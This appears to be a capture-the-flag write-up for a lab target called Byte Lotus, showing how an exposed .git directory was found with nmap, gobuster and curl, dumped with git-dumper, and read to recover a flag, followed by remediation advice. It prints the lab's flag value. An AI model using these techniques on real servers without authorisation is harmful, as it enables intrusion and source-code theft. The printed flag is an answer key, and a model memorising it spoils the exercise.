✘ BYTE LOTUS
engagement notes · internal
— findings —

The repo never left the server.

A staging deploy of the Byte Lotus guest platform shipped with its .git directory sitting in the public webroot. That one oversight was enough to walk the commit history straight back to a flag someone meant to delete before launch — and never did.

Target10.64.154.218:8080
Exposure/.git/  (directory listing live)
Root causestaging build deployed with VCS metadata
Resultfull commit history recovered
01
Recon surfaces the tell
nmap + gobuster

A basic nmap sweep showed two open ports — 8080 (the guest platform's staging build) and 22 (SSH). A gobuster pass against 8080 turned up something that shouldn't ever answer on a production or staging host: /.git/HEAD resolving with a 200.

shell
$ curl -s http://10.64.154.218:8080/.git/HEAD
ref: refs/heads/main

A live HEAD file means the entire .git directory is very likely being served the same way — objects, refs, logs, all of it. That's the whole history of the repository, recoverable with nothing more than an HTTP client.

02
Dump the repository
git-dumper

Rather than hand-crafting requests for every object, loose object, and pack file, git-dumper reconstructs the repo by walking .git/ the same way a real git client would.

shell
$ git-dumper http://10.64.154.218:8080/.git/ ./byte-lotus-repo
[-] Testing http://10.64.154.218:8080/.git/HEAD [200]
[-] Fetching .git recursively
[-] Fetching http://10.64.154.218:8080/.git/objects/pack/ [200]
[-] Fetching http://10.64.154.218:8080/.git/refs/heads/main [200]
[-] Running git checkout .
Updated 3 paths from the index

Checkout produced exactly three files — app.js, index.html, and README.md — all from a single commit on main.

03
Rule out the obvious, then read everything
git log · git show · reflog

A keyword grep across the full history (key, secret, token, password, aws_) came back empty. That ruled out the "amend and force-push over a leaked credential" pattern — the reflog confirmed it too, showing a single initial commit and nothing dangling or rewritten:

shell
$ cat .git/logs/HEAD
0000000...0000000 0f13550 night-shift <dev@byte-lotus.internal> commit (initial): initial Byte Lotus guest platform

A keyword grep only catches what it's told to look for. Reading the actual diff — rather than trusting a filtered search — is what found it, sitting in plain sight in README.md:

git show HEAD
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..a5965c5
--- /dev/null
+++ b/README.md
+# Byte Lotus — Guest Experience Platform
+
+Internal staging repository for the guest app and concierge personalization
+service. Do not deploy this folder to production.
+
+Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
Note — app.js also references a stubbed /api/guest endpoint, and the README mentions a separate "profiling service." Neither is wired up in this repo — worth flagging for a later stage, but not part of this finding.
04
Flag
README.md, line 6
THM{byt3_l0tus_n3v3r_f0rg3ts}

The label on the line is the whole story: "remove before launch." It wasn't. A staging build shipped with its version control metadata intact, and that alone was enough to hand over the complete commit history — no credentials, no misconfigured IAM role, just a directory that should never have been reachable over HTTP.

Remediation

Never deploy a .git directory into a served webroot — exclude it at the build/deploy step, not just via .gitignore (which does nothing to stop it being served once it exists on disk). Add a web-server rule denying access to dotfiles/dot-directories as defense in depth. And treat "remove before launch" comments as a signal to actually purge the commit (via history rewrite) rather than trusting that no one will look — anything ever committed should be treated as permanently public.